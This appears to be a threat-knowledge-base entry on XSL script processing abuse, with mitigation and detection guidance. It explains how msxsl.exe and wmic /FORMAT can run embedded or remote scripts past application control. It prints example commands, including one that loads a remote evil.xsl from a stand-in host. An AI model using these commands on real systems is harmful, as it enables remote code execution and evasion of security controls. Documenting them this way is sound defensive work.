Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. 
msxsl.exe customers[.]xml script[.]xsl
msxsl.exe script[.]xsl script[.]xsl
msxsl.exe script[.]jpeg script[.]jpeg
Another variation of this technique, dubbed "Squiblytwo", involves using Windows Management Instrumentation to invoke JScript or VBScript within an XSL file. This technique can also execute local/remote scripts and, similar to its Regsvr32/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in Windows Management Instrumentation provided they utilize the /FORMAT switch.
wmic process list /FORMAT:evil[.]xsl
wmic os get /FORMAT:"https[:]//example[.]com/evil[.]xsl"
Astaroth executes embedded JScript or VBScript in an XSL stylesheet located on a remote domain. 
Cobalt Group used msxsl.exe to bypass AppLocker and to invoke Jscript code from an XSL file.
|C0022||Operation Dream Job||
During Operation Dream Job, Lazarus Group used a remote XSL script to download a Base64-encoded DLL custom downloader.
If msxsl.exe is unnecessary, then block its execution to prevent abuse by adversaries.
|ID||Data Source||Data Component||Detects|
Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process.
Use process monitoring to monitor the execution and arguments of msxsl.exe and wmic.exe.   Command arguments used before and after the script invocation may also be useful in determining the origin and purpose of the payload being loaded. The presence of msxsl.exe or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.